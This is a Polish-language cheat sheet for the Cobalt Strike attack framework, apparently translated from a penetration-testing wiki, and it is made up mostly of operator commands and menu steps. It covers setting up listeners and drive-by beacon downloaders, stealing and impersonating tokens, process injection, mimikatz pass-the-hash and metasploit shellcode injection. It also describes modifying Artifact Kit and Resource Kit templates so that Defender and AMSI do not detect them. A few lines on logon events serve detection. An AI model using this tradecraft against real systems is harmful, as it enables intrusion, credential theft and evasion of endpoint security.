`Cobalt Strike -> Słuchacze -> Dodaj/Edytuj`, a następnie możesz wybrać, gdzie nasłuchiwać, jakiego rodzaju beacon użyć (http, dns, smb...) i wiele więcej.
`Ataki -> Web Drive-by -> Skryptowe dostarczanie przez sieć (S)` Spowoduje to wygenerowanie skryptu/wykonalnego do pobrania beacona z cobalt strike w formatach takich jak: bitsadmin, exe, powershell i python
Jeśli już masz plik, który chcesz hostować na serwerze sieciowym, przejdź do `Ataki -> Web Drive-by -> Host File` i wybierz plik do hostowania oraz konfigurację serwera sieciowego.
## Generowanie tokenu z danymi uwierzytelniającymi
make_token [DOMAIN\user] [hasło] # Utwórz token do podmiany użytkownika w sieci
ls \\nazwa_komputera\c$ # Spróbuj użyć wygenerowanego tokenu do dostępu do C$ na komputerze
rev2self # Przestań używać tokenu wygenerowanego za pomocą make_token
## Użycie make_token generuje zdarzenie 4624: Pomyślnie zalogowano na konto. To zdarzenie jest bardzo powszechne w domenie Windows, ale można je zawęzić, filtrować według typu logowania. Jak wspomniano wcześniej, używa LOGON32_LOGON_NEW_CREDENTIALS, który jest typem 9.
## Podobnie jak make_token, ale kradnie token z procesu
steal_token [pid] # Ponadto, jest to przydatne dla działań sieciowych, a nie lokalnych
## Z dokumentacji API wiemy, że ten typ logowania "pozwala wywołującemu sklonować jego bieżący token". Dlatego wynik Beacona mówi Impersonated <current_username> - podmienia nasz własny sklonowany token.
ls \\nazwa_komputera\c$ # Spróbuj użyć wygenerowanego tokenu do dostępu do C$ na komputerze
rev2self # Przestań używać tokenu z steal_token
## Uruchom proces z nowymi danymi uwierzytelniającymi
spawnas [domena\nazwa_użytkownika] [hasło] [słuchacz] # Zrób to z katalogu z dostępem do odczytu, np. cd C:\
## Podobnie jak make_token, spowoduje to wygenerowanie zdarzenia systemowego 4624: Pomyślnie zalogowano na konto, ale z typem logowania 2 (LOGON32_LOGON_INTERACTIVE). Będzie zawierać szczegóły użytkownika wywołującego (TargetUserName) i podmienionego użytkownika (TargetOutboundUserName).
## Wstrzyknięcie do procesu
inject [pid] [x64|x86] [słuchacz]
## Z punktu widzenia OpSec: Nie wykonuj wstrzykiwania międzyplatformowego, jeśli naprawdę nie musisz (np. x86 -> x64 lub x64 -> x86).
## Przekazanie hasha
## Ten proces modyfikacji wymaga łatania pamięci LSASS, co jest działaniem o wysokim ryzyku, wymaga uprawnień lokalnego administratora i nie jest zbyt wykonalne, jeśli włączono lekki proces chroniony (PPL).
## Bez /run, mimikatz uruchamia cmd.exe, jeśli uruchamiasz jako użytkownik z pulpitem, zobaczy powłokę (jeśli uruchamiasz jako SYSTEM, jesteś w porządku)
steal_token <pid> #Ukradnij token z procesu utworzonego przez mimikatz
## Wygeneruj bezetapowy kod Beacon, przejdź do Attacks > Packages > Windows Executable (S), wybierz żądany słuchacz, wybierz Raw jako typ wyjścia i wybierz Użyj ładunku x64.
## Użyj post/windows/manage/shellcode_inject w metasploit, aby wstrzyknąć wygenerowany kod cobalt strike
Zazwyczaj w `/opt/cobaltstrike/artifact-kit` można znaleźć kod i prekompilowane szablony (w `/src-common`), które cobalt strike będzie używał do generowania binarnych beaconów.
Korzystając z [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) z wygenerowanym backdoor'em (lub tylko z skompilowanym szablonem) można znaleźć, co powoduje uruchomienie defendera. Zazwyczaj jest to ciąg znaków. Dlatego można po prostu zmodyfikować kod generujący backdoor, aby ten ciąg nie pojawił się w końcowym pliku binarnym.
Po zmodyfikowaniu kodu wystarczy uruchomić `./build.sh` z tego samego katalogu i skopiować folder `dist-pipe/` do klienta Windows w `C:\Tools\cobaltstrike\ArtifactKit`.
Nie zapomnij załadować agresywnego skryptu `dist-pipe\artifact.cna`, aby wskazać Cobalt Strike, które zasoby z dysku chcemy używać, a nie te, które są załadowane.
Korzystając z [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) z szablonami, możesz dowiedzieć się, co nie podoba się obrońcy (w tym przypadku AMSI) i go zmodyfikować:
Nie zapomnij załadować agresywnego skryptu `ResourceKit\resources.cna`, aby wskazać Cobalt Strike, aby korzystał z zasobów z dysku, których chcemy, a nie z załadowanych.